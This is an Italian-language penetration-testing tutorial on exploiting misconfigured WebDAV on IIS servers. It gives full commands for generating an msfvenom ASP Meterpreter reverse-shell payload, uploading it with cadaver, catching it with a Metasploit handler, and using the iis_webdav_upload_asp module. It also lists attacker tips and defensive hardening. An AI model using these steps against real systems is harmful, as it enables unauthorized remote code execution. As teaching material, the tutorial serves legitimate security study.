Tutorials

🔍 **WebDAV Exploitation con Metasploit**

WebDAV Web Distributed Authoring and Versioning è un’estensione del protocollo HTTP che consente agli utenti di creare, modificare e gestire file su server remoti. È spesso abilitato su server IIS, ma

#exploitation#windows#web#metasploit

🔍 WebDAV Exploitation con Metasploit

🧠 Cos’è WebDAV?

WebDAV (Web Distributed Authoring and Versioning) è un’estensione del protocollo HTTP che consente agli utenti di creare, modificare e gestire file su server remoti. È spesso abilitato su server IIS, ma può essere presente anche in altri ambienti. Se mal configurato, consente il file upload arbitrario, spesso senza controlli di esecuzione o autenticazione.


🎯 Obiettivo dell’attacco

1. Caricare un payload malevolo (ad es. una reverse shell) sul server tramite WebDAV. 2. Eseguire il payload visitando l’URL caricato. 3. Ottenere una sessione Meterpreter sul sistema remoto.


🛠️ Tool utilizzati

  • msfvenom: Per creare il payload.
  • cadaver: Client WebDAV da terminale.
  • msfconsole: Per gestire la sessione e caricare exploit.

📌 Fasi dell'attacco

1. Enumerazione iniziale

  • Identificare che WebDAV è abilitato.
Puoi usare:
bash
nmap -p 80 --script http-methods <target>
oppure:
bash
curl -X OPTIONS http://<target>/webdav/
  • Se vengono restituiti metodi come PROPFIND, PUT, DELETE, MKCOL, è probabile che WebDAV sia abilitato e vulnerabile.

2. Generazione del payload

Utilizziamo msfvenom per creare una reverse shell in ASP (supportata da IIS):

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tuo_ip> LPORT=4444 -f asp > shell.asp

3. Caricamento del payload con cadaver

bash
cadaver http://<target>/webdav/
  • Inserisci le credenziali se richieste.
  • Carica il payload:
bash
put shell.asp

Nota: Puoi usare anche strumenti alternativi come curl con WebDAV (curl -T) o davtest.


4. Settaggio del listener su Metasploit

Apri msfconsole e configura il listener:

bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT 4444
run

5. Trigger del payload

Visita il file ASP caricato dal browser:

http
http://<target>/webdav/shell.asp

Se tutto è configurato correttamente, vedrai comparire una sessione Meterpreter.


🔁 Alternativa: Utilizzo di un modulo exploit dedicato in Metasploit

Puoi anche usare il modulo automatizzato:

bash
use exploit/windows/iis/iis_webdav_upload_asp

Setta le opzioni richieste:

bash
set RHOSTS <target>
set HTTPUSERNAME <user>
set HTTPPASSWORD <pass>
set PATH /webdav/shell.asp
set payload windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT 4444

exploit


🧩 Best Practices (da attaccante e da difensore)

👨‍💻 Attaccante:

  • Verifica i permessi WebDAV: non sempre è possibile l’esecuzione del file.
  • Prova più estensioni di payload: .asp, .aspx, .php (a seconda del server).
  • Controlla i firewall o AV che potrebbero bloccare la connessione inversa.

🛡️ Difensore:

  • Disabilita WebDAV se non necessario.
  • Limita i metodi HTTP permessi (OPTIONS, PUT, DELETE).
  • Applica un controllo rigoroso sui file caricati (whitelist di estensioni).
  • Utilizza un Web Application Firewall (WAF).

📚 Risorse utili

  • Cadaver Tool
  • WebDAV Metasploit Docs
  • OWASP - WebDAV Security